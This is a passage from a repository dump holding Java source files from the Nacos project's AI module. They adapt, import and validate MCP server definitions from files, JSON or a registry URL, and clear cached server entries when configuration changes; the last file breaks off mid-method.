    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service;\n\nimport com.alibaba.nacos.ai.enums.ExternalDataTypeEnum;\nimport com.alibaba.nacos.ai.model.mcp.UrlPageResult;\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.mcp.FrontEndpointConfig;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportRequest;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerRemoteServiceConfig;\nimport com.alibaba.nacos.api.ai.model.mcp.registry.McpRegistryServerDetail;\nimport com.alibaba.nacos.api.ai.model.mcp.registry.McpRegistryServerList;\nimport com.alibaba.nacos.api.ai.model.mcp.registry.Remote;\nimport com.alibaba.nacos.api.ai.model.mcp.registry.ServerResponse;\nimport com.alibaba.nacos.api.ai.model.mcp.registry.ServerVersionDetail;\nimport com.alibaba.nacos.api.ai.model.mcp.registry.OfficialMeta;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.fasterxml.jackson.core.type.TypeReference;\nimport org.springframework.stereotype.Service;\n\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.List;\nimport java.util.Objects;\nimport java.util.UUID;\nimport java.net.URI;\nimport java.net.URLEncoder;\nimport java.net.http.HttpClient;\nimport java.net.http.HttpRequest;\nimport java.net.http.HttpResponse;\nimport java.nio.charset.StandardCharsets;\nimport java.time.Duration;\nimport java.util.stream.Collectors;\n\n/**\n * <p>Adapt the External data(mcp server json file, mcp registry api data) to Nacos MCP server format\n * {@link McpServerDetailInfo}. MCP official formats docs.</p>\n *\n * <p>1. MCP Server format is defined in \n * <a href=\"https://github.com/modelcontextprotocol/registry/blob/main/docs/reference/server-json/server.schema.json\">\n * server.schema.json</a>.</p>\n *\n * <p>2. MCP Registry Api is defined in \n * <a href=\"https://github.com/modelcontextprotocol/registry/blob/main/docs/reference/api/openapi.yaml\">\n * openapi.yaml</a>.</p>\n *\n * @author nacos\n */\n@Service\npublic class McpExternalDataAdaptor {\n\n    private HttpClient httpClient;\n\n    private static final String CURSOR_QUERY_NAME = \"cursor\";\n\n    private static final String LIMIT_QUERY_NAME = \"limit\";\n\n    private static final String SEARCH_QUERY_NAME = \"search\";\n\n    private static final String HEADER_ACCEPT = \"Accept\";\n\n    private static final String HEADER_ACCEPT_JSON = \"application/json\";\n\n    private static final String QUERY_MARK = \"?\";\n\n    private static final String AMPERSAND = \"&\";\n\n    private static final int HTTP_STATUS_SUCCESS_MIN = 200;\n\n    private static final int HTTP_STATUS_SUCCESS_MAX = 299;\n\n    private static final int CONNECT_TIMEOUT_SECONDS = 10;\n\n    private static final int READ_TIMEOUT_SECONDS = 20;\n\n    private static final int FETCH_ALL_LIMIT_MARK = -1;\n\n    /**\n     * Safety guard to avoid infinite loops when server keeps returning cursors.\n     * Limits the maximum number of pages iterated when fetching from URL.\n     */\n    private static final int MAX_PAGES_GUARD = 200;\n\n    /**\n     * Adapt the external data to Nacos MCP server format.\n     *\n     * @param request import request\n     * @return Nacos MCP server format\n     * @throws Exception if adapt failed\n     */\n    public List<McpServerDetailInfo> adaptExternalDataToNacosMcpServerFormat(McpServerImportRequest request) throws Exception {\n        ExternalDataTypeEnum externalDataTypeEnum = ExternalDataTypeEnum.parseType(request.getImportType());\n        if (ExternalDataTypeEnum.FILE.equals(externalDataTypeEnum)) {\n            return adaptOfficialSeedFile(request.getData());\n        } else if (ExternalDataTypeEnum.JSON.equals(externalDataTypeEnum)) {\n            return adaptOfficialMcpServerJsonText(request.getData());\n        } else if (ExternalDataTypeEnum.URL.equals(externalDataTypeEnum)) {\n            return adaptOfficialRegistryUrl(request.getData(), request.getCursor(),\n                    request.getLimit(), request.getSearch());\n        } else {\n            throw new IllegalArgumentException(\"Unsupported import type: \" + externalDataTypeEnum);\n        }\n    }\n\n    private UrlPageResult fetchUrlPage(String urlData, String cursor, Integer limit, String search) throws Exception {\n        String base = urlData.trim();\n        HttpClient client = getHttpClient();\n        String pageUrl = buildPageUrl(base, cursor, limit, search);\n        HttpRequest request = buildGetRequest(pageUrl);\n        HttpResponse<String> resp = client.send(request, HttpResponse.BodyHandlers.ofString());\n        int code = resp.statusCode();\n        if (!isSuccessStatus(code)) {\n            throw new IllegalStateException(\"HTTP \" + code + \" when fetching \" + pageUrl);\n        }\n        List<McpServerDetailInfo> servers = null;\n        String next = null;\n        try {\n            McpRegistryServerList listPage = JacksonUtils.toObj(resp.body(), McpRegistryServerList.class);\n            if (listPage != null && listPage.getServers() != null) {\n                servers = listPage.getServers().stream()\n                        .map(this::adaptOfficialMcpServerFromResponse)\n                        .collect(Collectors.toList());\n            }\n            if (listPage != null && listPage.getMetadata() != null) {\n                next = listPage.getMetadata().getNextCursor();\n            }\n        } catch (Exception e) {\n            throw new IllegalStateException(\"Failed to parse response body\", e);\n        }\n        return new UrlPageResult(servers, next);\n    }\n\n    private List<McpServerDetailInfo> fetchUrlServersAll(String urlData, String search) throws Exception {\n        List<McpServerDetailInfo> collected = new ArrayList<>();\n        String cursor = null;\n        int pages = 0;\n        while (pages < MAX_PAGES_GUARD) {\n            pages++;\n            UrlPageResult page = fetchUrlPage(urlData, cursor, 30, search);\n            if (CollectionUtils.isNotEmpty(page.getServers())) {\n                collected.addAll(page.getServers());\n            }\n            String next = page.getNextCursor();\n            if (next == null) {\n                break;\n            }\n            cursor = next;\n        }\n        return collected;\n    }\n\n    private McpServerDetailInfo adaptOfficialMcpServer(McpRegistryServerDetail registryServer) {\n        if (registryServer == null) {\n            return null;\n        }\n        McpServerDetailInfo server = new McpServerDetailInfo();\n        applyBasicInfo(registryServer, server);\n        applyVersionInfo(registryServer, server);\n        applyProtocolInfo(registryServer, server);\n        applyLocalAndRemoteConfig(registryServer, server);\n        return server;\n    }\n\n    /**\n     * Adapt official mcp server from server response.\n     * Just append version meta info to the result of adaptOfficialMcpServer.\n     *\n     * @param response the server response object\n     * @return adapted mcp server detail info\n     */\n    private McpServerDetailInfo adaptOfficialMcpServerFromResponse(ServerResponse response) {\n        McpServerDetailInfo adaptOfficialMcpServer = adaptOfficialMcpServer(response.getServer());\n        OfficialMeta official = response.getMeta().getOfficial();\n        ServerVersionDetail versionDetail = adaptOfficialMcpServer.getVersionDetail();\n        if (versionDetail != null) {\n            versionDetail.setRelease_date(official.getPublishedAt());\n            versionDetail.setIs_latest(true);\n            String status = official.getStatus();\n            if (StringUtils.isNotBlank(status)) {\n                adaptOfficialMcpServer.setStatus(status);\n            }\n        }\n        return adaptOfficialMcpServer;\n    }\n\n    private void applyBasicInfo(McpRegistryServerDetail registryServer, McpServerDetailInfo out) {\n        String id = generateMcpServerId(registryServer.getName());\n        out.setId(id);\n        out.setName(registryServer.getName());\n        out.setDescription(registryServer.getDescription());\n        out.setRepository(registryServer.getRepository());\n    }\n\n    private void applyVersionInfo(McpRegistryServerDetail registryServer, McpServerDetailInfo out) {\n        ServerVersionDetail v = null;\n        if (StringUtils.isNotBlank(registryServer.getVersion())) {\n            v = new ServerVersionDetail();\n            v.setVersion(registryServer.getVersion());\n        }\n        out.setVersionDetail(v);\n    }\n\n    private void applyProtocolInfo(McpRegistryServerDetail registryServer, McpServerDetailInfo out) {\n        String protocol = resolveServerProtocol(registryServer);\n        if (StringUtils.isNotBlank(protocol)) {\n            out.setProtocol(protocol);\n            out.setFrontProtocol(protocol);\n        }\n    }\n\n    private void applyLocalAndRemoteConfig(McpRegistryServerDetail registryServer, McpServerDetailInfo server) {\n        if (registryServer != null) {\n            server.setPackages(registryServer.getPackages());\n            server.setRemoteServerConfig(generateRemoteServiceConfig(registryServer.getRemotes()));\n        }\n    }\n\n    private String resolveServerProtocol(McpRegistryServerDetail detail) {\n        if (CollectionUtils.isNotEmpty(detail.getPackages())) {\n            return AiConstants.Mcp.MCP_PROTOCOL_STDIO;\n        }\n\n        if (CollectionUtils.isNotEmpty(detail.getRemotes())) {\n            Remote first = detail.getRemotes().get(0);\n            String tt = first != null ? first.getType() : null;\n            if (tt != null) {\n                String lower = tt.trim().toLowerCase();\n                if (AiConstants.Mcp.OFFICIAL_TRANSPORT_SSE.equals(lower)) {\n                    return AiConstants.Mcp.MCP_PROTOCOL_SSE;\n                }\n                if (AiConstants.Mcp.OFFICIAL_TRANSPORT_STREAMABLE.equals(lower)) {\n                    return AiConstants.Mcp.MCP_PROTOCOL_STREAMABLE;\n                }\n            }\n        }\n        return null;\n    }\n\n    private McpServerRemoteServiceConfig generateRemoteServiceConfig(List<Remote> remotes) {\n        if (CollectionUtils.isEmpty(remotes)) {\n            return null;\n        }\n\n        McpServerRemoteServiceConfig remoteConfig = new McpServerRemoteServiceConfig();\n        List<FrontEndpointConfig> endpoints = new ArrayList<>();\n        \n        for (Remote remote : remotes) {\n            String url = remote.getUrl().trim();\n            try {\n                UrlComponents components = parseUrlComponents(url);\n                boolean isHttps = \"https\".equalsIgnoreCase(components.getScheme());\n                int effectivePort = (components.getPort() > 0) ? components.getPort() : (isHttps ? 443 : 80);\n                String endpointData = components.getHost() + \":\" + effectivePort;\n                FrontEndpointConfig cfg = new FrontEndpointConfig();\n                cfg.setEndpointData(endpointData);\n                cfg.setPath(StringUtils.isNotBlank(components.getPath()) ? components.getPath() : \"/\");\n                cfg.setType(remote.getType());\n                cfg.setProtocol(components.getScheme());\n                cfg.setEndpointType(AiConstants.Mcp.MCP_FRONT_ENDPOINT_TYPE_TO_BACK);\n                cfg.setHeaders(remote.getHeaders());\n                endpoints.add(cfg);\n                \n                // Use first remote's path as export path\n                if (remoteConfig.getExportPath() == null) {\n                    remoteConfig.setExportPath(components.getPath() != null ? components.getPath() : \"/\");\n                }\n            } catch (Exception e) {\n                throw new IllegalStateException(\"Invalid URL: \" + url, e);\n            }\n        }\n        \n        remoteConfig.setFrontEndpointConfigList(endpoints);\n        return remoteConfig;\n    }\n\n    /**\n     * Parse URL into components (scheme, host, port, path).\n     * Manual parsing without using URI class.\n     *\n     * @param url the URL string to parse\n     * @return UrlComponents containing scheme, host, port, and path\n     */\n    private UrlComponents parseUrlComponents(String url) {\n        String scheme = null;\n        String host = null;\n        int port = -1;\n        String path = null;\n\n        // Parse scheme\n        int schemeEnd = url.indexOf(\"://\");\n        if (schemeEnd > 0) {\n            scheme = url.substring(0, schemeEnd);\n            url = url.substring(schemeEnd + 3);\n        }\n\n        // Parse host, port, and path\n        int pathStart = url.indexOf('/');\n        String hostPart;\n        if (pathStart > 0) {\n            hostPart = url.substring(0, pathStart);\n            path = url.substring(pathStart);\n        } else {\n            hostPart = url;\n            path = null;\n        }\n\n        // Parse host and port\n        int portStart = hostPart.lastIndexOf(':');\n        if (portStart > 0) {\n            host = hostPart.substring(0, portStart);\n            try {\n                port = Integer.parseInt(hostPart.substring(portStart + 1));\n            } catch (NumberFormatException e) {\n                // Invalid port, treat the whole thing as host\n                host = hostPart;\n                port = -1;\n            }\n        } else {\n            host = hostPart;\n        }\n\n        return new UrlComponents(scheme, host, port, path);\n    }\n\n    /**\n     * Inner class to hold URL components parsed from a URI.\n     */\n    private static class UrlComponents {\n        private final String scheme;\n        private final String host;\n        private final int port;\n        private final String path;\n\n        public UrlComponents(String scheme, String host, int port, String path) {\n            this.scheme = scheme;\n            this.host = host;\n            this.port = port;\n            this.path = path;\n        }\n\n        public String getScheme() {\n            return scheme;\n        }\n\n        public String getHost() {\n            return host;\n        }\n\n        public int getPort() {\n            return port;\n        }\n\n        public String getPath() {\n            return path;\n        }\n    }\n\n    /**\n     * URL import wrapper: fetch contents from specified URL and adapt to Nacos mcp servers.\n     * Fetch specified contents from specified URL and adapt to Nacos mcp servers.\n     *\n     * @param urlData URL data to parse. Only support official mcp registry api.\n     * @param cursor Cursor for pagination\n     * @param limit Limit for pagination. Fetch all pages when limit = -1\n     * @param search fuzzy search keyword\n     * @return list of adapted mcp servers\n     * @throws Exception if adaptation failed\n     */\n    private List<McpServerDetailInfo> adaptOfficialRegistryUrl(String urlData, String cursor, Integer limit, String search)\n            throws Exception {\n        if (StringUtils.isBlank(urlData)) {\n            throw new IllegalArgumentException(\"URL is blank\");\n        }\n\n        // If limit = -1, fetch all pages\n        if (limit != null && limit == FETCH_ALL_LIMIT_MARK) {\n            return fetchUrlServersAll(urlData.trim(), search);\n        }\n\n        // Otherwise, fetch a single page using fetchUrlPage\n        UrlPageResult page = fetchUrlPage(urlData.trim(), cursor, limit, search);\n        return page.getServers();\n    }\n\n    /**\n     * File import wrapper: parse into a list of RegistryDetails and convert to\n     * Nacos servers.\n     */\n    private List<McpServerDetailInfo> adaptOfficialSeedFile(String data) {\n        return unmarshaledSeedToServerList(data).stream()\n                .map(this::adaptOfficialMcpServer)\n                .filter(Objects::nonNull)\n                .collect(Collectors.toList());\n    }\n\n    private List<McpServerDetailInfo> adaptOfficialMcpServerJsonText(String data) {\n        McpRegistryServerDetail detail = JacksonUtils.toObj(data, McpRegistryServerDetail.class);\n        return Collections.singletonList(adaptOfficialMcpServer(detail));\n    }\n\n    private List<McpRegistryServerDetail> unmarshaledSeedToServerList(String data) {\n        return JacksonUtils.toObj(data, new TypeReference<>() { });\n    }\n\n    private HttpClient getHttpClient() {\n        if (httpClient == null) {\n            httpClient = HttpClient.newBuilder()\n                    .followRedirects(HttpClient.Redirect.NORMAL)\n                    .connectTimeout(Duration.ofSeconds(CONNECT_TIMEOUT_SECONDS))\n                    .build();\n        }\n        return httpClient;\n    }\n\n    public void setHttpClient(HttpClient client) {\n        this.httpClient = client;\n    }\n\n    private String buildPageUrl(String base, String cursor, Integer limit, String search) {\n        StringBuilder url = new StringBuilder(base);\n        boolean hasQuery = base.contains(QUERY_MARK);\n        if (StringUtils.isNotBlank(cursor)) {\n            String enc = URLEncoder.encode(cursor, StandardCharsets.UTF_8);\n            url.append(hasQuery ? AMPERSAND : QUERY_MARK).append(CURSOR_QUERY_NAME).append(\"=\").append(enc);\n            hasQuery = true;\n        }\n        if (limit != null && limit > 0) {\n            url.append(hasQuery ? AMPERSAND : QUERY_MARK).append(LIMIT_QUERY_NAME).append(\"=\").append(limit);\n            hasQuery = true;\n        }\n        if (StringUtils.isNotBlank(search)) {\n            String encSearch = URLEncoder.encode(search, StandardCharsets.UTF_8);\n            url.append(hasQuery ? AMPERSAND : QUERY_MARK).append(SEARCH_QUERY_NAME).append(\"=\").append(encSearch);\n        }\n        return url.toString();\n    }\n\n    private HttpRequest buildGetRequest(String url) {\n        return HttpRequest.newBuilder(URI.create(url))\n                .timeout(Duration.ofSeconds(READ_TIMEOUT_SECONDS))\n                .GET()\n                .header(HEADER_ACCEPT, HEADER_ACCEPT_JSON).build();\n    }\n\n    private boolean isSuccessStatus(int code) {\n        return code >= HTTP_STATUS_SUCCESS_MIN && code <= HTTP_STATUS_SUCCESS_MAX;\n    }\n\n    private String generateMcpServerId(String name) {\n        return UUID.nameUUIDFromBytes(name.getBytes(StandardCharsets.UTF_8)).toString();\n    }\n}"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/service/McpServerCacheInvalidateService.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.index.McpServerIndex;\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.notify.listener.Subscriber;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.model.event.LocalDataChangeEvent;\nimport com.alibaba.nacos.config.server.utils.GroupKey;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\n/**\n * MCP Server cache invalidation service.\n * \n * <p>This service listens to ConfigDataChangeEvent and invalidates MCP server cache\n * when MCP-related configurations are deleted or modified. The implementation follows\n * the same pattern as AsyncNotifyService for configuration synchronization.</p>\n *\n * @author xinluo\n */\n@Service\npublic class McpServerCacheInvalidateService extends Subscriber<LocalDataChangeEvent> {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(McpServerCacheInvalidateService.class);\n    \n    private final McpServerIndex mcpServerIndex;\n    \n    @Autowired\n    public McpServerCacheInvalidateService(McpServerIndex mcpServerIndex) {\n        this.mcpServerIndex = mcpServerIndex;\n        NotifyCenter.registerSubscriber(this);\n    }\n    \n    /**\n     * Handle ConfigDataChangeEvent to invalidate MCP server cache.\n     *\n     * @param event configuration change event\n     */\n    void handleConfigDataChangeEvent(LocalDataChangeEvent event) {\n        // Check if the configuration is MCP server related\n        String groupKey = event.groupKey;\n\n        String[] strings = GroupKey.parseKey(groupKey);\n        String dataId = strings[0];\n        String group = strings[1];\n        String tenant = strings.length > 2 ? strings[2] : \"\";\n        if (!isMcpServerConfig(group)) {\n            return;\n        }\n        \n        // Extract server ID from dataId\n        String serverId = extractServerIdFromDataId(group, dataId);\n        if (StringUtils.isEmpty(serverId)) {\n            LOGGER.warn(\"Failed to extract server ID from dataId: {}, group: {}\", dataId, group);\n            return;\n        }\n        \n        // Invalidate cache\n        invalidateCache(tenant, serverId);\n        \n        LOGGER.info(\"Handled MCP server config change event: namespaceId={}, group={}, dataId={}, serverId={}\",\n                tenant, group, dataId, serverId);\n    }\n    \n    /**\n     * Check if the configuration group is MCP server related.\n     *\n     * @param group configuration group\n     * @return true if the group is MCP server related\n     */\n    private boolean isMcpServerConfig(String group) {\n        return Constants.MCP_SERVER_VERSIONS_GROUP.equals(group);\n    }\n    \n    /**\n     * Extract server ID from dataId based on the configuration group.\n     *\n     * <p>MCP server configurations follow these naming patterns:</p>\n     * <ul>\n     *   <li>Version info: {serverId}-mcp-versions.json (group: mcp-server-versions)</li>\n     *   <li>Server spec: {serverId}-{version}-mcp-server.json (group: mcp-server)</li>\n     *   <li>Tool spec: {serverId}-{version}-mcp-tools.json (group: mcp-tools)</li>\n     * </ul>\n     *\n     * @param group configuration group\n     * @param dataId configuration dataId\n     * @return extracted server ID, or null if extraction fails\n     */\n    private String extractServerIdFromDataId(String group, String dataId) {\n        if (Constants.MCP_SERVER_VERSIONS_GROUP.equals(group)) {\n            // Version info: remove \"-mcp-versions.json\" suffix\n            if (StringUtils.isNotEmpty(dataId) && dataId.endsWith(Constants.MCP_SERVER_VERSION_DATA_ID_SUFFIX)) {\n                return dataId.substring(0, dataId.length() - Constants.MCP_SERVER_VERSION_DATA_ID_SUFFIX.length());\n            }\n        }\n        return null;\n    }\n    \n    /**\n     * Invalidate MCP server cache by server ID.\n     *\n     * <p>This method is idempotent - calling it multiple times with the same\n     * serverId will not cause any side effects.</p>\n     *\n     * @param namespaceId namespace ID\n     * @param serverId MCP server ID\n     */\n    private void invalidateCache(String namespaceId, String serverId) {\n        try {\n            // Clear cache by server ID\n            mcpServerIndex.removeMcpServerById(serverId);\n            \n            LOGGER.info(\"MCP Server cache invalidated successfully: namespaceId={}, serverId={}\", namespaceId,\n                    serverId);\n        } catch (Exception e) {\n            // Cache invalidation failure should not affect configuration deletion\n            LOGGER.error(\"Failed to invalidate MCP Server cache: namespaceId={}, serverId={}, error={}\", namespaceId,\n                    serverId, e.getMessage(), e);\n        }\n    }\n\n    @Override\n    public void onEvent(LocalDataChangeEvent event) {\n        handleConfigDataChangeEvent(event);\n    }\n\n    @Override\n    public Class<? extends Event> subscribeType() {\n        return LocalDataChangeEvent.class;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/service/McpServerImportService.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service;\n\nimport com.alibaba.nacos.ai.constant.McpServerValidationConstants;\nimport com.alibaba.nacos.ai.enums.ExternalDataTypeEnum;\nimport com.alibaba.nacos.ai.enums.McpImportResultStatusEnum;\nimport com.alibaba.nacos.ai.index.McpCacheIndex;\nimport com.alibaba.nacos.ai.model.mcp.McpServerIndexData;\nimport com.alibaba.nacos.ai.utils.McpConfigUtils;\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.mcp.FrontEndpointConfig;\nimport com.alibaba.nacos.api.ai.model.mcp.McpEndpointSpec;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerBasicInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportRequest;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportResponse;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportResult;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportValidationResult;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerValidationItem;\nimport com.alibaba.nacos.api.ai.model.mcp.McpToolSpecification;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Service;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Objects;\nimport java.util.Set;\n\n/**\n * MCP Server Import Service.\n * Handles the import logic for MCP servers from various sources.\n *\n * @author WangzJi\n */\n@Service\npublic class McpServerImportService {\n\n    private final McpCacheIndex mcpCacheIndex;\n\n    private static final Logger LOG = LoggerFactory.getLogger(McpServerImportService.class);\n\n    private final McpExternalDataAdaptor transformService;\n\n    private final McpServerValidationService validationService;\n\n    private final McpServerOperationService operationService;\n\n    public McpServerImportService(McpExternalDataAdaptor transformService,\n                                  McpServerValidationService validationService,\n                                  McpServerOperationService operationService, \n                                  McpCacheIndex mcpCacheIndex) {\n        this.transformService = transformService;\n        this.validationService = validationService;\n        this.operationService = operationService;\n        this.mcpCacheIndex = mcpCacheIndex;\n    }\n\n    /**\n     * Validate servers for import.\n     *\n     * @param namespaceId namespace ID\n     * @param request     import request\n     * @return validation result\n     * @throws NacosException if validation fails\n     */\n    public McpServerImportValidationResult validateImport(String namespaceId, McpServerImportRequest request)\n            throws NacosException {\n        ExternalDataTypeEnum externalDataTypeEnum = ExternalDataTypeEnum.parseType(request.getImportType());\n        if (Objects.isNull(externalDataTypeEnum)) {\n            throw new NacosException(NacosException.INVALID_PARAM, \"Invalid import type: \" + request.getImportType());\n        }\n\n        try {\n            List<McpServerDetailInfo> servers;\n            servers = transformService.adaptExternalDataToNacosMcpServerFormat(request);\n            return validationService.validateServers(namespaceId, servers);\n\n        } catch (Exception e) {\n            McpServerImportValidationResult result = new McpServerImportValidationResult();\n            result.setValid(false);\n            List<String> errors = new ArrayList<>();\n            errors.add(\"Import validation failed: \" + e.getMessage());\n            result.setErrors(errors);\n            return result;\n        }\n    }\n\n    /**\n     * Execute import of MCP servers.\n     *\n     * @param namespaceId namespace ID\n     * @param request     import request\n     * @return import response\n     */\n    public McpServerImportResponse executeImport(String namespaceId, McpServerImportRequest request) {\n        try {\n            McpServerImportValidationResult validationResult = validateImport(namespaceId, request);\n            boolean valid = validationResult.isValid();\n            boolean overrideExisting = request.isOverrideExisting();\n            if (valid || request.isSkipInvalid()) {\n                List<McpServerValidationItem> validSelectedServers =\n                        filterValidSelectedServers(validationResult.getServers(), request.getSelectedServers());\n                return applyResultOnRequestPolicy(namespaceId, validSelectedServers, overrideExisting);\n            } else {\n                return responseError(\"Import validation failed: \" + String.join(\", \",\n                        validationResult.getErrors()));\n            }\n        } catch (Exception e) {\n            LOG.error(\"Import execution failed\", e);\n            return responseError(\"Import execution failed: \" + e.getMessage());\n        }\n    }\n\n    private static McpServerImportResponse responseError(String msg) {\n        McpServerImportResponse response = new McpServerImportResponse();\n        response.setSuccess(false);\n        response.setErrorMessage(msg);\n        return response;\n    }\n\n    private McpServerImportResponse applyResultOnRequestPolicy(String namespaceId,\n                                                               List<McpServerValidationItem> serversToImport,\n                                                               boolean overwrite) {\n        McpServerImportResponse response = new McpServerImportResponse();\n        List<McpServerImportResult> results = new ArrayList<>();\n        int successCount = 0;\n        int failedCount = 0;\n        int skippedCount = 0;\n        for (McpServerValidationItem item : serversToImport) {\n            McpServerImportResult result = importSingleServer(namespaceId, item, overwrite);\n            if (\"success\".equals(result.getStatus())) {\n                successCount++;\n            } else if (\"failed\".equals(result.getStatus())) {\n                failedCount++;\n            } else if (\"skipped\".equals(result.getStatus())) {\n                skippedCount++;\n            }\n            results.add(result);\n        }\n        response.setSuccess(failedCount == 0);\n        response.setTotalCount(serversToImport.size());\n        response.setSuccessCount(successCount);\n        response.setFailedCount(failedCount);\n        response.setSkippedCount(skippedCount);\n        response.setResults(results);\n        return response;\n    }\n\n    /**\n     * Filter valid selected servers for import.\n     *\n     * @param validationItems validation items\n     * @param selectedServers selected server IDs\n     * @return filtered servers\n     */\n    private List<McpServerValidationItem> filterValidSelectedServers(List<McpServerValidationItem> validationItems,\n            String[] selectedServers) {\n        if (CollectionUtils.isEmpty(validationItems)) {\n            return Collections.emptyList();\n        }\n\n        if (selectedServers == null || selectedServers.length == 0) {\n            return validationItems;\n        }\n\n        Set<String> selectServers = new HashSet<>(Arrays.asList(selectedServers));\n        return validationItems.stream()\n                .filter(item -> McpServerValidationConstants.STATUS_VALID.equals(item.getStatus()))\n                .filter(item -> selectServers.isEmpty() || selectServers.contains(item.getServerId()))\n                .toList();\n    }\n\n    /**\n     * Import single MCP server.\n     *\n     * @param namespaceId      namespace ID\n     * @param item             validation item\n     * @param overrideExisting whether to override existing servers\n     * @return import result\n     */\n    private McpServerImportResult importSingleServer(String namespaceId, McpServerValidationItem item,\n            boolean overrideExisting) {\n        McpServerImportResult result = new McpServerImportResult();\n        result.setServerName(item.getServerName());\n        result.setServerId(item.getServerId());\n        try {\n            if (item.isExists() && !overrideExisting) {\n                result.setStatus(McpImportResultStatusEnum.SKIPPED.getName());\n                result.setConflictType(\"existing\");\n                return result;\n            }\n\n            McpServerDetailInfo server = item.getServer();\n            McpToolSpecification toolSpec = server.getToolSpec();\n            McpServerBasicInfo basicInfo = generateMcpBasicInfo(server);\n            McpEndpointSpec endpointSpec = generateEndpointSpec(server);\n            McpServerIndexData exist = mcpCacheIndex.getMcpServerByName(namespaceId, item.getServerName());\n            if (exist != null && overrideExisting) {\n                operationService.updateMcpServer(namespaceId, true, basicInfo, toolSpec, endpointSpec, true);\n            } else {\n                operationService.createMcpServer(namespaceId, basicInfo, toolSpec, endpointSpec);\n            }\n            result.setStatus(McpImportResultStatusEnum.SUCCESS.getName());\n        } catch (Exception e) {\n            result.setStatus(McpImportResultStatusEnum.FAILED.getName());\n            result.setErrorMessage(\"Failed to import server: \" + e.getMessage());\n        }\n        return result;\n    }\n\n    private static McpServerBasicInfo generateMcpBasicInfo(McpServerDetailInfo server) {\n        McpServerBasicInfo basicInfo = new McpServerBasicInfo();\n        basicInfo.setId(server.getId());\n        basicInfo.setName(server.getName());\n        basicInfo.setProtocol(server.getProtocol());\n        basicInfo.setFrontProtocol(server.getFrontProtocol());\n        basicInfo.setDescription(server.getDescription());\n        basicInfo.setStatus(server.getStatus());\n        basicInfo.setRepository(server.getRepository());\n        basicInfo.setVersionDetail(server.getVersionDetail());\n        basicInfo.setRemoteServerConfig(server.getRemoteServerConfig());\n        basicInfo.setPackages(server.getPackages());\n        return basicInfo;\n    }\n\n    /**\n     * Convert {@link McpServerDetailInfo} info to {@link McpEndpointSpec}.\n     * <p>Only keep first item in frontEndpointConfigList for endpoint spec generation.</p>\n     *\n     * @param server server detail info\n     * @return endpoint spec, null if not convert is not supported.\n     */\n    private McpEndpointSpec generateEndpointSpec(McpServerDetailInfo server) {\n        if (AiConstants.Mcp.MCP_PROTOCOL_STDIO.equals(server.getProtocol())) {\n            return null;\n        }\n\n        if (server.getRemoteServerConfig() == null\n                || CollectionUtils.isEmpty(server.getRemoteServerConfig().getFrontEndpointConfigList())) {\n            return null;\n        }\n\n        try {\n            FrontEndpointConfig first = server.getRemoteServerConfig()\n                            .getFrontEndpointConfigList()\n                            .get(0);\n            return McpConfigUtils.convertFrontEndpointConfig(first);\n        } catch (Exception e) {\n            LOG.error(\"Failed to convert to endpoint spec\", e);\n            throw new RuntimeException(\"Failed to 